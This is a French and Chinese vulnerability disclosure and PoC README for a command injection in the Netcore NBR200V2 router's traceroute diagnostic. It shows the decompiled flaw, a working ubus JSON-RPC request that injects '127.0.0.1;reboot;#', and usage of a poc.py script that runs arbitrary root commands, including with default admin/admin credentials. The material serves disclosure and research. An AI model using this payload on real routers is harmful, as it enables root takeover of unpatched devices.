
PoC pour CVE-2026-94095, une injection de commande traceroute dans le firmware Netcore NBR200V2 via ubus JSON-RPC, permettant une RCE root pour des tests autorisés.
| Champ | Valeur |
|---|---|
| Fournisseur | Netcore |
| Modèle | NBR200V2 |
| Version du firmware | V1.3.241127.071246 |
| Composant affecté | /usr/bin/network_tools |
| Type de vulnérabilité | Injection de commande OS (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Critique) |
| Vecteur d'attaque | À distance (ubus JSON-RPC) |
| Prérequis | Point de terminaison ubus accessible + une session à faibles privilèges (sid) |
| Statut du fournisseur | Contacté tôt ; aucune réponse ; aucun correctif au moment de la divulgation |
Le firmware V1.3.241127.071246 du Netcore NBR200V2 contient une vulnérabilité d'injection de commande à distance dans la fonctionnalité de diagnostic traceroute. Le gestionnaire traceroute accepte une valeur url contrôlée par l'attaquant depuis ubus JSON-RPC, la concatène dans une commande shell et exécute la commande résultante. Un attaquant distant peut exploiter cette faille pour exécuter des commandes shell arbitraires, redémarrer l'appareil ou obtenir une compromission complète du système.
La requête distante est acceptée en tant que ubus JSON-RPC :
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
Le mappage des méthodes ubus route la requête vers sub_401BD8 :
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 analyse les données JSON-RPC et les transmet à tools_traceroute() :
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() construit une commande shell en utilisant la valeur url non fiable :
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
La vulnérabilité est structurellement identique au problème de ping, mais atteint un point de terminaison et un chemin d'exécution différents. Comme system() est utilisé, les séparateurs de commande tels que ;, && et les commentaires shell sont honorés. La fonctionnalité de diagnostic devient donc une primitive d'exécution de commandes à usage général.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
Effet attendu : le routeur exécute reboot pendant le traitement de la tâche traceroute. Des commandes shell arbitraires peuvent être substituées à reboot.
Les trois atteignent le même /usr/bin/network_tools ; les fonctions de diagnostic de ce binaire partagent le même schéma non sécurisé, donc corriger un seul point d'entrée n'est pas suffisant.
Aucun correctif du fournisseur au moment de la divulgation. Mesures d'atténuation provisoires :
Divulgation par le chercheur indépendant qui a publié l'analyse technique et coordonné (sans succès) avec le fournisseur.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。